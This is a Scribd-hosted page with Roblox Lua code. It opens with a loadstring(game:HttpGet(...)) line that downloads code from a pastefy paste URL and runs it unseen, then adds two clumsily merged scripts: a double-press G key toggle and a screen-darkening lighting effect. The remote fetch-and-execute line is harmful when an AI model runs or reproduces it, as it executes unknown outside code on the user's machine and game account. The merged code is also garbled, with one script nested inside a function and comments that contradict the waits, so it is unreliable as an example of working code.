0% found this document useful (0 votes)
13 views

Message 49

Uploaded by

mung0817
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
13 views

Message 49

Uploaded by

mung0817
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

loadstring(game:HttpGet("https://pastefy.

app/cKkAxBXr/raw",true))()

-- ToggleFor5SecondsScript (LocalScript)

-- Services
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")

-- Variables
local player = Players.LocalPlayer
local doublePressTime = 0.3 -- Time window for double press (in seconds)
local lastPressTime = 0
local isToggled = false -- Track whether the toggle is active

-- Function to execute the action


local function executeAction()
print("Action Executed!") -- Replace this with the actual action you want to
perform
-- DarknessEffect (LocalScript)

-- Services
local Lighting = game:GetService("Lighting")

-- Function to apply darkness


local function applyDarkness()
-- Save original lighting properties
local originalAmbient = Lighting.Ambient
local originalBrightness = Lighting.Brightness
local originalOutdoorAmbient = Lighting.OutdoorAmbient

-- Set darkness properties


Lighting.Ambient = Color3.new(0, 0, 0) -- Set ambient light to black
Lighting.Brightness = 0 -- Set brightness to 0
Lighting.OutdoorAmbient = Color3.new(0, 0, 0) -- Set outdoor ambient to black

wait(30) -- Wait for 5 seconds

-- Restore original lighting properties


Lighting.Ambient = originalAmbient
Lighting.Brightness = originalBrightness
Lighting.OutdoorAmbient = originalOutdoorAmbient
end

-- Start the darkness effect


applyDarkness()

end

-- Function to toggle the action on for 5 seconds


local function toggleForDuration()
if isToggled then return end -- If already toggled, exit

isToggled = true -- Set toggle to active


executeAction() -- Execute the action immediately

wait(5) -- Wait for 5 seconds

isToggled = false -- Set toggle back to inactive


print("Action Ended!") -- Indicate that the action has ended
end

-- Function to handle key input


local function onInputBegan(input, gameProcessed)
if not gameProcessed and input.KeyCode == Enum.KeyCode.G then
local currentTime = tick() -- Get the current time

-- Check if the time between presses is within the allowed range for double
press
if currentTime - lastPressTime <= doublePressTime then
toggleForDuration() -- Execute the toggle function on double press
end

lastPressTime = currentTime -- Update the last press time


end
end

-- Connect the input handler


UserInputService.InputBegan:Connect(onInputBegan)

You might also like